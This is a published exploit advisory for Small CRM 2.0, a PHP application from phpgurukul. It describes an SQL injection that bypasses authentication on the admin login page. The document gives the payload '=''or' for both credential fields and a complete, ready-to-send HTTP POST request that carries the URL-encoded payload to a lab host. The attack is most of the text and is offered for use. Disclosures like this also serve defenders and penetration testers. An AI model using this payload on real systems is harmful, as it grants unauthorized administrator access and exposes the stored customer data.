# Exploit Title: Small CRM 2.0 - Authentication Bypass # Google Dork: N/A # Date: 2020-01-02 # Exploit Author: FULLSHADE # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/small-crm-php/ # Version: V2.0 # Tested on: Windows # CVE : N/A # Description: # # There is a SQL injection vulnerability in the /index.php page # which allows for an attacker to use the SQLi login bypass payload # '=''or' for both the username and password parameters, this allows # for any authenticated or low level user to login to the admin account. ========== 1. Authentication bypass ========== POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1 Host: 10.0.0.214 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 57 Origin: http://10.0.0.214 DNT: 1 Connection: close Referer: http://10.0.0.214/Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq Upgrade-Insecure-Requests: 1 email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&login=